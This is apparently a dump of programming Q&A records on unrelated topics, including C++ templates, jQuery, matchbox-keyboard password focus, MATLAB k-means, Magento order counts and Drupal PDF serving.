goes along the lines of </p> <pre><code>ShowScores(testno) </code></pre> <p>that would write everything inside the first </p> <pre><code>&lt;div class="row"&gt;..&lt;/row&gt; </code></pre> <p>containing the bars, where the %-width of the bars would be calculated as the score assigned divided by the maxscore:</p> <ul> <li>Each item has 3 assigned scores: scorePicture, scoreFeature, scoreUI, and 1 calculated total score (weighted average)</li> <li>A global max score exists for each of the 3 scores: topscorePicture, topscoreFeature, topscoreUI</li> </ul> <p>As I suck at JS, I have spent 5 hours getting to this point, and I have no clue how to make things load from e.g. a <code>testscore.xml</code> file instead and then extract what I need with jQuery - and I probably also need some help making my HTML load the script i.e. how to invoke it afterwards. <a href="https://api.jquery.com/jQuery.parseXML/" rel="nofollow">The documentation on jQuery</a> is concerned with loading all content in the XML and not just a specific node?</p> <p>All help is appreciated.</p> <p>My own thoughts on some pseudo code would be a script that, when envoked from my HTML document would do something like</p> <pre><code>function(reviewNo) var max1 = load maxscore1 from XML var max2 = load maxscore2 from XML var max3 = load maxscore3 from XML var score1 = load assignedscore1 for reviewNo from XML var score2 = load assignedscore2 for reviewNo from XML var score3 = load assignedscore2 for reviewNo from XML Calculate % width of bar 1, bar 2 and bar 3 and save as variables as math.round() write HTML DIV code and subsitute the width of the bars with the calculated values from above </code></pre>
4041000	0	What is this error? (And why doesn't it occur in other classes?) <p>I'm trying to write a some container classes for implementing primary data structures in C++. The header file is here:</p> <pre><code>#ifndef LINKEDLIST1_H_ #define LINKEDLIST1_H_ #include &lt;iostream&gt; using namespace std; template&lt;class T&gt; class LinkedList1; template&lt;class T&gt; class Node; template&lt;class T&gt; class Node { friend class LinkedList1&lt;T&gt; ; public: Node&lt;T&gt; (const T&amp; value) { this-&gt;Data = value; this-&gt;Next = NULL; } Node&lt;T&gt; () { this-&gt;Data = NULL; this-&gt;Next = NULL; } T Data; Node* Next; }; template&lt;class T&gt; class LinkedList1 { friend class Node&lt;T&gt; ; public: LinkedList1(); // LinkedList1&lt;T&gt;(); ~LinkedList1(); // Operations on LinkedList Node&lt;T&gt;* First(); int Size(); int Count(); bool IsEmpty(); void Prepend(Node&lt;T&gt;* value); //O(1) void Append(Node&lt;T&gt;* value); void Append(const T&amp; value); void Insert(Node&lt;T&gt;* location, Node&lt;T&gt;* value); //O(n) Node&lt;T&gt;* Pop(); Node&lt;T&gt;* PopF(); Node&lt;T&gt;* Remove(const Node&lt;T&gt;* location); void Inverse(); void OInsert(Node&lt;T&gt;* value); // TODO Ordered insertion. implement this: foreach i,j in this; if i=vale: i+=vale, break; else if i&lt;=value&lt;=j: this.insert(j,value),break void print(); private: Node&lt;T&gt;* first; int size; }; #endif /* LINKEDLIST1_H_ */ </code></pre> <p>When I try to use it in another class, for example like this:</p> <pre><code>void IDS::craete_list() { LinkedList1&lt;int&gt; lst1 = LinkedList1&lt;int&gt;::LinkedList1&lt;int&gt;(); } </code></pre> <p>this error occurs:</p> <pre><code>undefined reference to 'LinkedList1&lt;int&gt;::LinkedList1&lt;int&gt;()' </code></pre> <p>The constructor of the class is public and its header file is included. I also tried to include the .cpp file of the class, but that didn't help. I wrote other classes such SparseMatrix and DynamicArray in exactly the same way and there was no error!...</p>
3155741	0	Free Editor for NAnt Scripting? <p>Is there any Free Editor for NAnt scripting with little bit of intelligence is fine....</p> <p><br/> nrk</p>
10292838	0	 <ul> <li><p><strong>Shared hosting</strong>: check government requirements, I'm not in the health care field, but I'd be very surprised if there are no rules/laws governing storage of sensitive personal information. If credit cards/ecommerce has PCI DSS requirements, I would think health care data would have at least same level (likely stricter) data protection rules (e.g. <a href="http://www.hhs.gov/ocr/privacy/hipaa/understanding/index.html" rel="nofollow"><strong>HIPAA</strong></a>?)</p></li> <li><p>I don't know much about 1&amp;1, but "where" may also be an issue(?) - <strong>where</strong> are the servers (of 1&amp;1) physically located?</p></li> <li><p>yet another thought: instead of having salt/pwd generated by user (how long/secure should they be?) Perhaps look into <a href="http://technet.microsoft.com/en-us/library/bb510663%28v=sql.100%29.aspx" rel="nofollow">SQL server encryption options</a>, moving the job to SQL instead of users and/or code. </p></li> <li><p>Decide if data should be encrypted or hashed (storage/retrieval vs. lookup) - re: password = hashed, SSN - depends on usage I guess. <a href="http://technet.microsoft.com/en-us/library/ms174415%28v=sql.100%29.aspx" rel="nofollow">Hash can also be done in SQL Server</a>....</p></li> </ul>
16370364	0	 <p>Here is an example of formatting your date to ISO 8601</p> <p><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Date#Example.3A_ISO_8601_formatted_dates" rel="nofollow">https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Date#Example.3A_ISO_8601_formatted_dates</a></p> <p>There are several approaches you can use to format the date/time, below is a blog on such examples.</p> <p><a href="http://blog.stevenlevithan.com/archives/date-time-format" rel="nofollow">http://blog.stevenlevithan.com/archives/date-time-format</a></p> <p>It's hard to understand what you want to do from your wording but maybe this will help you to get a little further along.</p> <p>Good luck.</p>
10450991	0	asp.net mvc - Data lost on post back <p>I have a form that only has a checkbox. If the checkbox is not checked then the page won't be valid and won't submit the data. On the view I have out putted some fields from the model object, just to let the user know what they are deleting. When I click the Submit button and the model state is not valid the page will show the validation error but the data from the model is no longer there!</p> <p>Does anyone know how I can persist this data without making another call to the database to populate the model object?</p> <p>Thanks</p>
10997143	0	django ajax and non-ajax templates <p>i have a django template - one that is normally loaded via a standard get request. However, i would also like to use this template for an ajax get. </p> <p>I know i can use request.is_ajax to distinguish the call, and thus work out <em>which</em> page i should serve - what i don't know is how to avoid replication.</p> <p>The problem is, the page extends a base htm file - one that has all the bells and whistles (you know, header, menu et al). I don't want this to appear in the ajax page though! What i'd like there is for the page to appear, <em>not</em> extending base htm</p> <p>I can only think that perhaps i have two files - one that has just the contents (ajax version) and another that extends base htm, and somehow imports (not extends) the first file... </p> <p>any ides how i'd do the above, or how i am meant to solve this generally?</p>
20873730	0	 <p>Perhaps it can be achieved by wrapping the <code>InputStream</code> in a <a href="http://docs.oracle.com/javase/7/docs/api/javax/swing/ProgressMonitorInputStream.html#ProgressMonitorInputStream%28java.awt.Component,%20java.lang.Object,%20java.io.InputStream%29" rel="nofollow"><code>ProgressMonitorInputStream</code></a>. But make sure you do not block the Event Dispatch Thread, or it will freeze until completion. </p> <p>See <a href="http://docs.oracle.com/javase/tutorial/uiswing/components/progress.html" rel="nofollow">How to Use Progress Bars</a> for details.</p>
9201258	0	How to Detect when entering a password field <p>I am currently trying to debug an issue I've been experiencing with the program 'matchbox-keyboard'(http://matchbox-project.org/), and I'm hoping for some assistance. matchbox-keyboard is an on-screen keyboard that I am currently using in a touchscreen kiosk to allow users to enter some basic input for doing searches etc. It may be a little old, but nonetheless it is ideal for my application because it is an 'on-demand' keyboard (i.e. it only appears when needed), lightweight, and works well with matchbox-window-manager, which I am using on the device. However, one of the sites the kiosk must visit requires the user to log in temporarily, and for some reason the on-screen keyboard disappears whenever the user clicks in the password field.</p> <p>The site that the users must visit cannot be changed, so I resolved myself to try and patch matchbox-keyboard to change this behavior. To that end, I have traced the issue back to a custom Atom defined in the code, as follows</p> <pre><code>typedef enum { MBKeyboardRemoteNone = 0, MBKeyboardRemoteShow, MBKeyboardRemoteHide, MBKeyboardRemoteToggle, } MBKeyboardRemoteOperation; </code></pre> <p>=============</p> <pre><code>void mb_kbd_remote_init (MBKeyboardUI *ui) { Atom_MB_IM_INVOKER_COMMAND = XInternAtom(mb_kbd_ui_x_display(ui), "_MB_IM_INVOKER_COMMAND", False); } </code></pre> <p>This Atom is then checked for in the Xevents, and then data from the xevent (<code>xevent-&gt;xclient.data.l[0]</code>) is used to determine what state to put the keyboard in. The thing I can't figure out is how does the X display know when the Xevent is supposed to be a '_MB_IM_INVOKER_COMMAND' type, and how it actually sets the data value. Specifically, how/why it sets the value of <code>xevent-&gt;xclient.data.l[0]</code> to 2 (<code>MBKeyboardRemoteHide</code>) when I enter a password field.</p> <p>I have tried scouring the code for references to the critical objects mentioned here, as well as reading up on Xlib Events from the guide here: <a href="http://tronche.com/gui/x/xlib/events/" rel="nofollow">http://tronche.com/gui/x/xlib/events/</a>, and searching for answers on google, but honestly this is just a bit over my head, and I can't get a grip on the issue. At this point it has passed from a necessity for my kiosk project and become more of a curiosity on my part(and something that will drive me nuts until I figure it out), so if anybody could help me get some answers, I would be most appreciative.</p> <p>========== Update ==========</p> <p>Further testing/information: </p> <p>the issue does not appear to be browser implementation specific, as I tried my desired website,as well as a basic test HTML page that has only a text and password field, on a gecko browser(Firefox), as well as a webkit browser(Midori), and in both browsers, on both pages, the behavior was the same. Here's the test HTML page for reference: </p> <pre><code>&lt;head&gt; &lt;/head&gt; &lt;body&gt; &lt;form&gt; Name: &lt;input type="text" name="firstname"&gt;&lt;br&gt; PW: &lt;input type="password" name="lastname"&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>It appears to me that the password field, is intentionally rejecting focus for some reason, whereby clicking the field directly causes the gtk-im method focus-out to be called. My suspicion is that it's probably a part of the GTK implementation, possibly related to the act that password fields are typically 'hidden'. Perhaps this is done to prevent the on-demand clipboard from storing passwords or something to that effect?</p> <p>When examining the event list/debug output from clicking on the password field and on the text field, the list of received events for each field type is very similar. Many of the events are the same type, but there are a few differences between them that I am still trying to decode. I know the event numbers are mostly meaningless in this context, but for illustration, here's the different event lists for non-password field:</p> <pre><code>matchbox-keyboard-remote.c:47,mb_kbd_remote_process_xevents() got a message of type _MB_IM_INVOKER_COMMAND, val 1 matchbox-keyboard-ui.c:560,mb_kbd_ui_redraw() mark matchbox-keyboard-remote.c:38,mb_kbd_remote_process_xevents() got a message, type 69206018 matchbox-keyboard-remote.c:38,mb_kbd_remote_process_xevents() got a message, type 69206018 matchbox-keyboard-remote.c:38,mb_kbd_remote_process_xevents() got a message, type 69206018 matchbox-keyboard-remote.c:38,mb_kbd_remote_process_xevents() got a message, type 37748776 matchbox-keyboard-remote.c:38,mb_kbd_remote_process_xevents() got a message, type 35651628 matchbox-keyboard-remote.c:38,mb_kbd_remote_process_xevents() got a message, type 35651629 matchbox-keyboard-remote.c:38,mb_kbd_remote_process_xevents() got a message, type 35682433 matchbox-keyboard-remote.c:38,mb_kbd_remote_process_xevents() got a message, type 69206018 matchbox-keyboard-remote.c:38,mb_kbd_remote_process_xevents() got a message, type 69206018 </code></pre> <p>and for password field:</p> <pre><code>matchbox-keyboard-remote.c:47,mb_kbd_remote_process_xevents() got a message of type _MB_IM_INVOKER_COMMAND, val 2 matchbox-keyboard-ui.c:1230,mb_kbd_ui_event_loop() Hide timed out, calling mb_kbd_ui_hide matchbox-keyboard-remote.c:38,mb_kbd_remote_process_xevents() got a message, type 69206018 matchbox-keyboard-remote.c:38,mb_kbd_remote_process_xevents() got a message, type 69206018 matchbox-keyboard-remote.c:38,mb_kbd_remote_process_xevents() got a message, type 69206018 matchbox-keyboard-remote.c:38,mb_kbd_remote_process_xevents() got a message, type 35651628 matchbox-keyboard-remote.c:38,mb_kbd_remote_process_xevents() got a message, type 35682433 matchbox-keyboard-remote.c:38,mb_kbd_remote_process_xevents() got a message, type 35665943 matchbox-keyboard-remote.c:38,mb_kbd_remote_process_xevents() got a message, type 39845918 matchbox-keyboard-remote.c:38,mb_kbd_remote_process_xevents() got a message, type 35651628 matchbox-keyboard-remote.c:38,mb_kbd_remote_process_xevents() got a message, type 35651629 matchbox-keyboard-remote.c:38,mb_kbd_remote_process_xevents() got a message, type 35682433 </code></pre> <p>Unfortunately this is the best my info gets at the moment, since my C skills are quite rusty.</p>
23354327	0	 <p>First thing, you should fix up your markup, your nesting is wrong:</p> <pre><code>&lt;nav&gt; &lt;ul&gt; &lt;li id="menu_toggle"&gt;Menu&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Link 01&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Link 02&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Link 03&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/nav&gt; </code></pre> <p>And change your CSS to something like this:</p> <pre><code>nav li { display: none; } nav.open li, nav:hover li, #menu_toggle { display: block; } </code></pre> <p>This means all your list items are invisible, but for the toggle and if the nav has a class <code>open</code>, or if the mouse hovers the nav (on a desktop).</p> <p>Then your JavaScript (jQuery) could look like this:</p> <pre><code>$(function(){ // document ready $('#menu_toggle').on('touchstart', function(){ $('nav').toggleClass('open'); }); }); </code></pre> <p>This will toggle the menu on a touch device when <code>hover</code> isn't really working.</p> <p>Tracking a touch anywhere else but the menu is a bit trickier, you could:</p> <ol> <li>Add a once off event handler to the rest of the document whenever you open the menu</li> <li>Put an overlay between the menu and your content and catch events on that</li> </ol> <p>So for option 1, assuming you have something like this:</p> <pre><code>&lt;nav&gt;...&lt;/nav&gt; &lt;div id="content"&gt;...&lt;/div&gt; </code></pre> <p>You could do this:</p> <pre><code>$(function(){ // document ready var isMenuOpen = false; $('#menu_toggle').on('touchstart', function(){ // reverse boolean isMenuOpen = !isMenuOpen; // add/remove class depending on state $('nav').toggleClass('open', isMenuOpen); if( isMenuOpen ){ // If menu is now open, add a closing event handler to the content $('#content').once('touchstart', function(){ $('nav').removeClass('open'); }); } }); }); </code></pre>
16220532	0	 <p>This seems to work: <a href="http://jsfiddle.net/QLn9b/1/" rel="nofollow">http://jsfiddle.net/QLn9b/1/</a></p> <p>It is using your original code:</p> <pre><code>$("select").change(function() { $("select").not(this).find("option[value="+ $(this).val() + "]").attr('disabled', true); }); </code></pre>
2428589	0	 <pre><code>&lt;script type="text/javascript"&gt; function voimakaksikkoStats(obj) { alert(obj.TestsTaken); } &lt;/script&gt; &lt;script type="text/javascript" src="http://www.heiaheia.com/voimakaksikko/stats.json"&gt;&lt;/script&gt; </code></pre> <p>I never got it working with jQuery, but the simple code above solved my problems. I found help from Yahoo: <a href="http://developer.yahoo.com/common/json.html" rel="nofollow noreferrer">http://developer.yahoo.com/common/json.html</a></p>
20254549	0	 <p>I was able to make GWT work with libgdx simply by:</p> <ul> <li>downloading (<a href="http://www.gwtproject.org/download.html" rel="nofollow">http://www.gwtproject.org/download.html</a>) the GWT SDK,</li> <li>extracting it,</li> <li>then in the project structure -> <code>project-name-html</code> -> dependencies,</li> <li>just press the + and add the extracted GWT directory</li> <li>A dialog appears and I just unticked all the samples</li> </ul> <p>The "Dependencies Storage Format" needed to be "Intellij IDEA", not Eclipse for this to work for me.</p>
33240205	1	Pass list of different named tuples to different csv by tuple name <p>I have a program in which I wish to record all major changes that occur. For example: each time a variable x changes in value record the time of the change and the change itself. Within the program there are many such changes and not all have the same number of parameters. </p> <p>I decided to use namedtuples to store each instance of a change and to then put those namedtuples into a single master data list -ready for export to csv. I have used tuples as of course they are immutable which is ideal for record keeping. Below I have tried to explain in as concise a manner as possible what I have done and tried. Hopefully my problem and attempts so far are clear.</p> <p>So I have:</p> <pre><code>data = [] </code></pre> <p>as the main repository, with namedtuples of the form:</p> <pre><code>a_tuple = namedtuple('x_change', ['Time', 'Change']) another_tuple = namedtuple('y_change', ['Time', 'Change', 'id']) </code></pre> <p>I can then append instances of these namedtuples each time a change is detected to data using commands as below:</p> <pre><code>data.append(a_tuple(a_time, a_change)) data.append(another_tuple(a_time, a_change, an_id)) </code></pre> <p>If I then print out the contents of data I would get output like:</p> <pre><code>x_change(a_time=4, a_change=1) y_change(a_time=5, a_change=3, an_id = 2) y_change(a_time=7, a_change=1, an_id = 3) x_change(a_time=8, a_change=3) </code></pre> <p>what I would like to do is export these tuples to csv files by tuple name. So in the above case I would end up with two csv files of the form:</p> <pre><code>name, time, change x_change, 4, 1 x_change, 8, 3 </code></pre> <p>and;</p> <pre><code>name, time, change, id y_change, 5, 3, 2 y_change, 7, 1, 3 </code></pre> <p>I have to date managed to write to a single csv as below:</p> <pre><code>with open ('events.csv', 'w', newline='') as csvfile: output = csv.writer(csvfile, delimiter = ',') for row in data: output.writerow(row) </code></pre> <p>which produces the output minus the tuple name. So:</p> <pre><code>4, 1 5, 3, 2 7, 1, 3 8, 3 </code></pre> <p>I have also tried:</p> <pre><code>with open ('events.csv', 'w', newline='') as csvfile: output = csv.writer(csvfile, delimiter = ',') for row in data: output.writerow(str(row)) </code></pre> <p>Which splits the file into csv format, including the tuple name, by every character getting (first line only included): </p> <pre><code>x, _, c, h, a, n, g, e, 4, 1 </code></pre> <p>I have searched for a solution but not come across anything that fits what I am trying to do and am now at a loss. Any assistance would be appreciated.</p>
35759859	0	 <p>If I assume that the values are unique in each column, then the key idea is doing a join on the <em>second</em> column in the table followed by aggregation.</p> <p>A <code>having</code> clause can count the number of matches and be sure that it matches the expected number in the first table:</p> <pre><code>select t1.c1, t2.c1 from t1 join t2 on t1.c2 = t2.c2 group by t1.c1, t2.c1 having count(*) = (select count(*) from t1 tt1 where tt1.c1 = t1.c1); </code></pre>
25691983	0	 <p>The reason why you are getting different results is the fact that your colour segmentation algorithm uses <a href="http://en.wikipedia.org/wiki/K-means_clustering" rel="nofollow"><em>k</em>-means clustering</a>. I'm going to assume you don't know what this is as someone familiar in how it works would instantly tell you that this is why you're getting different results every time. In fact, the different results you are getting after you run this code each time are a natural consequence to <em>k</em>-means clustering, and I'll explain why. </p> <p>How it works is that for some data that you have, you want to group them into <em>k</em> groups. You initially choose <em>k</em> random points in your data, and these will have labels from <code>1,2,...,k</code>. These are what we call the <strong>centroids</strong>. Then, you determine how close the rest of the data are to each of these points. You then group those points so that whichever points are closest to any of these <em>k</em> points, you assign those points to belong to that particular group (<code>1,2,...,k</code>). After, for all of the points for each group, you update the <strong>centroids</strong>, which actually is defined as the representative point for each group. For each group, you compute the average of all of the points in each of the <em>k</em> groups. These become the <strong>new</strong> centroids for the next iteration. In the next iteration, you determine how close each point in your data is to <strong>each of the centroids</strong>. You keep iterating and repeating this behaviour until the centroids don't move anymore, or they move very little.</p> <p>How this applies to the above code is that you are taking the image and you want to represent the image using only <em>k</em> possible colours. Each of these possible colours would thus be a centroid. Once you find which cluster each pixel belongs to, you would replace the pixel's colour with the centroid of the cluster that pixel belongs to. Therefore, for each colour pixel in your image, you want to decide which out of the <em>k</em> possible colours this pixel would be best represented with. The reason why this is a colour segmentation is because you are <strong>segmenting</strong> the image to belong to only <em>k</em> possible colours. This, in a more general sense, is what is called <strong>unsupervised segmentation</strong>.</p> <p>Now, back to <em>k</em>-means. How you choose the initial centroids is the reason why you are getting different results. You are calling <em>k</em>-means in the default way, which automatically determines which initial points the algorithm will choose from. Because of this, you are <strong>not guaranteed</strong> to generate the same initial points each time you call the algorithm. If you want to <strong>repeat</strong> the same segmentation no matter how many times you call <code>kmeans</code>, you will need to <strong>specify the initial points yourself</strong>. As such, you would need to modify the <em>k</em>-means call so that it looks like this:</p> <pre><code>[cluster_idx, cluster_center] = kmeans(ab,nColors,'distance','sqEuclidean', ... 'Replicates', 3, 'start', seeds); </code></pre> <p>Note that the call is the same, but we have added two additional parameters to the <em>k</em>-means call. The flag <code>start</code> means that you are specifying the initial points, and <code>seeds</code> is a <code>k x p</code> array where <em>k</em> is how many groups you want. In this case, this is the same as <code>nColors</code>, which is 3. <code>p</code> is the dimension of your data. Because of the way you are transforming and reshaping your data, this is going to be 2. As such, you are ultimately specifying a <code>3 x 2</code> matrix. However, you have a <code>Replicate</code> flag there. This means that the <em>k</em>-means algorithm will run a certain number of times specified by you, and it will output the segmentation that has the least amount of error. As such, we will repeat the <code>kmeans</code> calls for as many times as specified with this flag. The above structure of <code>seeds</code> will no longer be <code>k x p</code> but <code>k x p x n</code>, where <code>n</code> is the number of times you want to run the segmentation. This is now a 3D matrix, where each 2D slice determines the initial points for each run of the algorithm. Keep this in mind for later.</p> <p>How you choose these points is up to you. However, if you want to randomly choose these and not leave it up to you, but want to reproduce the same results every time you call this function, you should set the <a href="http://www.mathworks.com/help/matlab/ref/rng.html" rel="nofollow">random seed generator</a> to be a known number, like <code>123</code>. That way, when you generate random points, it will always generate the same sequence of points, and is thus reproducible. Therefore, I would add this to your code before calling <code>kmeans</code>.</p> <pre><code>rng(123); %// Set seed for reproducibility numReplicates = 3; ind = randperm(size(ab,1), numReplicates*nColors); %// Randomly choose nColors colours from data %// We are also repeating the experiment numReplicates times %// Make a 3D matrix where each slice denotes the initial centres for each iteration seeds = permute(reshape(ab(ind,:).', [2 nColors numReplicates]), [2 1 3]); %// Now call kmeans [cluster_idx, cluster_center] = kmeans(ab,nColors,'distance','sqEuclidean', ... 'Replicates', numReplicates, 'start', seeds); </code></pre> <p>Bear in mind that you specified the <code>Replicates</code> flag, and we want to repeat this algorithm a certain number of times. This is <code>3</code>. Therefore, what we need to do is specify initial points for <strong>each run of the algorithm</strong>. Because we are going to have 3 clusters of points, and we are going to run this algorithm 3 times, we need 9 initial points (or <code>nColors * numReplicates</code>) in total. Each set of initial points has to be a <strong>slice</strong> in a 3D array, which is why you see that complicated statement just before the <code>kmeans</code> call.</p> <p>I made the number of replicates as a variable so that you can change this and to your heart's content and it'll still work. The complicated statement with <a href="http://www.mathworks.com/help/matlab/ref/permute.html" rel="nofollow"><code>permute</code></a> and <a href="http://www.mathworks.com/help/matlab/ref/reshape.html" rel="nofollow"><code>reshape</code></a> allows us to create this 3D matrix of points very easily.</p> <p>Bear in mind that the call to <a href="http://www.mathworks.com/help/matlab/ref/randperm.html" rel="nofollow"><code>randperm</code></a> in MATLAB only accepted the second parameter as of recently. If the above call to <code>randperm</code> doesn't work, do this instead:</p> <pre><code>rng(123); %// Set seed for reproducibility numReplicates = 3; ind = randperm(size(ab,1)); %// Randomly choose nColors colours from data ind = ind(1:numReplicates*nColors); %// We are also repeating the experiment numReplicates times %// Make a 3D matrix where each slice denotes the initial centres for each iteration seeds = permute(reshape(ab(ind,:).', [2 nColors numReplicates]), [2 1 3]); %// Now call kmeans [cluster_idx, cluster_center] = kmeans(ab,nColors,'distance','sqEuclidean', ... 'Replicates', numReplicates, 'start', seeds); </code></pre> <hr> <p>Now with the above code, you should be able to generate the same colour segmentation results every time.</p> <p>Good luck!</p>
31639787	0	 <p>Since your array is sorted, you can use <a href="http://docs.oracle.com/javase/7/docs/api/java/util/Arrays.html#binarySearch(int[],%20int)" rel="nofollow">Arrays.binarySearch</a> which returns index of the element if it is present in the <code>array</code>, otherwise returns <code>-1</code>.</p> <pre><code>if(Arrays.binarySearch(numbers,j) != -1){ system.out.println("It is in the array."); } else { system.out.println("It is not in the array."); } </code></pre> <p>Just a faster way to search and you also don't need to convert your <code>array</code> to <code>list</code>.</p>
38520200	0	 <blockquote> <p>In your Block file</p> </blockquote> <pre><code>namespace "Your Module namespace"; class modelclass extends \Magento\Framework\View\Element\Template { /** @var \Magento\Sales\Model\ResourceModel\Order\CollectionFactory */ protected $_orderCollectionFactory; /** @var \Magento\Sales\Model\ResourceModel\Order\Collection */ protected $orders; public function __construct( \Magento\Framework\View\Element\Template\Context $context, \Magento\Sales\Model\ResourceModel\Order\CollectionFactory $orderCollectionFactory, array $data = [] ) { $this-&gt;_orderCollectionFactory = $orderCollectionFactory; parent::__construct($context, $data); } public function getOrders() { if (!$this-&gt;orders) { $this-&gt;orders = $this-&gt;_orderCollectionFactory-&gt;create()-&gt;addFieldToSelect('*'); } return $this-&gt;orders; } </code></pre> <blockquote> <p>In your phtml file</p> </blockquote> <pre><code>$_orders = $block-&gt;getOrders(); if ($_orders &amp;&amp; count($_orders)) { $complete = $pending = $closed = $canceled = $processing = $onHold = 0; foreach ($_orders as $_order) { $label = $_order-&gt;getStatusLabel(); switch ($label) { case 'Complete' : $complete++; break; case 'Pending' : $pending++; break; case 'Processing' : $processing++; break; case 'Canceled' : $canceled++; break; case 'Closed' : $closed++; break; } } echo "Order Status &lt;br&gt;"; echo "Completed Order " . $complete . "&lt;br&gt;"; echo "Pending Order " . $pending . "&lt;br&gt;"; echo "Closed Order " . $closed . "&lt;br&gt;"; echo "Canceled Order " . $canceled . "&lt;br&gt;"; echo "Processing Order" . $processing . "&lt;br&gt;"; } else{ echo "You have no Orders"; } </code></pre>
39333857	0	 <p>The variable <code>more</code> is only in scope inside the do while loop. One solution would be to declare more outside the loop and only update its value inside.</p> <p>Like this...</p> <pre><code>public static void main(String[] args) { Scanner input = new Scanner(System.in); String cont = "y"; String more = null; do { . .// code here . System.out.println("Do you want to continue?"); more = input.next(); } while (more.equals(cont)); </code></pre> <p>This happens because any variable which is declared inside a do-while construct is only in scope within that same loop, it cannot be accessed outside the loop, or in the loop condition.</p> <p>Declaring the variable outside the loop and within main gives access to the variable anywhere inside the main method.</p>
4567218	0	C#:SerialPort: read and write buffer size <p>I am writing a program to send and receive data via a serial port with C#.</p> <p>Although I have read this reference: <a href="http://msdn.microsoft.com/en-us/library/system.io.ports.serialport.readbuffersize.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/system.io.ports.serialport.readbuffersize.aspx</a>, I am not quite clear if I change the values of the buffer for reading and writing:</p> <pre><code>serialPort.ReadBufferSize = 1; // or 1024 ? serialPort.WriteBufferSize = 1;// or 1024 ? </code></pre> <p>The values (1 or 1024) should be better to be smaller or bigger?</p> <p>Thanks in advance.</p>
12118389	0	 <p>If you have a 5 second animation and you stop it in the middle and then you restart the same animation with the same final point for the animation and you tell it to run for 5 seconds, it will go slower because it has less distance to go in the 5 seconds.</p> <p>If you want it to restart with the same speed it had before, then you have to reduce the amount of time in the second animation to reflect a pro-rated amount of time.</p> <p>Remember <code>speed = distance / time</code>. If your restarted animation has a shorter distance to travel but the same time, it's going be a slower speed unless you also reduce the time proportionally.</p>
32706267	0	 <p>There is only 1 <code>IFRAME</code> on the page so you can just find it by tag name. The page loaded very slowly for me but I'm in the US so that may have something to do with it. You may have to wait for the <code>IFRAME</code> to become available and then get a handle to it.</p>
7545226	0	CoreData (storing new object) in AppDelegate = SIGABRT <p>I've intented to make a simple function in AppDelegate to store some data in database (CoreData) which would be called from various <code>ViewController</code> classes connected do <code>AppDelegate</code>. This is the body of this function:</p> <pre><code>- (void) setSetting:(NSString *)setting :(NSString *)value { NSManagedObject* newSetting = [NSEntityDescription insertNewObjectForEntityForName:@"EntityName" inManagedObjectContext:self.managedObjectContext]; [newSetting setValue:value forKey:setting]; NSError* error; [self.managedObjectContext save:&amp;error]; } </code></pre> <p>But calling this function (even from AppDelegate itself) returns SIGABRT on line with <code>setValue</code></p> <p>But when I implement the function in <code>ViewController</code> class (replacing <code>self.</code> with proper connection to <code>AppDelegate</code> of course) - it works <strong>fine</strong>.</p> <p>I don't get it and I would really appreciate some help in creating flexible function in <code>AppDelegate</code> to save the data in database.</p>
17131774	0	 <p>Use <code>fields_for</code> for the associated models.<br> <strong>There should be no square brackets arround the parameters of <code>fields_for</code></strong></p> <p>In your code example, I cannot find the relation between <code>Patient</code> and <code>Diagnosis</code>, and the plural of diagnosis is <strong>diagnoses</strong>, you can specify this in <code>config/initializers/inflections.rb</code>:</p> <pre><code>ActiveSupport::Inflector.inflections do |inflect| inflect.irregular 'diagnosis','diagnoses' end </code></pre> <p>So your <code>Patient</code> model should contain</p> <pre><code>class Patient &lt; ActiveRecord::Base attr_accessible :age, :name, :city, :street, :number has_many :diagnoses end </code></pre> <p>And you can write in your form:</p> <pre><code> &lt;div class="field"&gt; &lt;%= f.label :content %&gt;&lt;br /&gt; &lt;%= f.text_field :content %&gt; &lt;/div&gt; &lt;%= fields_for(@patient, @patient.diagnoses.build) do |u| %&gt; &lt;div class="field"&gt; &lt;%= u.label :content %&gt;&lt;br /&gt; &lt;%= u.text_field :content %&gt; &lt;/div&gt; &lt;% end %&gt; &lt;div class="actions"&gt; &lt;%= f.submit %&gt; &lt;/div&gt; </code></pre>
22312293	0	 <p>If I understand you correctly URL rewriting is not what you need. Why? Because mapping an external URL to some internal URL / alias is not going to help you serve the file.</p> <p>What you need is a way to have an external URL process a request and return the file in question. Luckily Drupal 7 makes this pretty easy to do.</p> <p>1.) Define a menu mapping in hook_menu()</p> <pre><code> function MODULE_menu() { $items = array(); $items['pdf'] = array( 'title' => 'Map PDF', 'page callback' => 'MODULE_show_pdf', 'access callback' => TRUE, 'description' => 'TBD', 'type' => MENU_CALLBACK, ); return ($items); } </code></pre> <p>2.) Define your callback function</p> <pre><code> function MODULE_show_pdf($somehtmlfile = '') { $stream_wrapper_uri = 'public://pdf/' . $somehtmlfile . '.pdf'; $stream_wrapper = file_create_url($stream_wrapper_uri); $stream_headers = array( 'Content-Type' => file_get_mimetype($stream_wrapper_uri), 'Content-Length' => filesize($stream_wrapper_uri), 'Pragma' => 'no-cache', 'Cache-Control' => 'must-revalidate, post-check=0, pre-check=0', 'Expires' => '0', 'Accept-Ranges' => 'bytes' ); file_transfer($stream_wrapper_uri, $stream_headers); } </code></pre> <p>Some things to note:</p> <ol> <li><p>There is no need to explicitly define somehtmlfile param in the menu. This allows you more flexibility in that you can simply define whatever params you would like this external URL to support simply by adjusting the params in the callback function.</p></li> <li><p>When public stream wrapper dirs/files are sub-dir of: sites/default/files</p></li> <li><p>It is assumed that although you have somehtmlfile in the URL that you really want to stream somehtmlfile.pdf (if you want to stream somehtmlfile.html then simply adjust the hard coded '.pdf' suffix)</p></li> <li><p>file_transfer calls drupal_exit() as its last step which essentially ends request processing.</p></li> <li><p>Make sure to flush your cache otherwise the above will not work as menu entries are cached and the external URL will fail to be found</p></li> </ol>
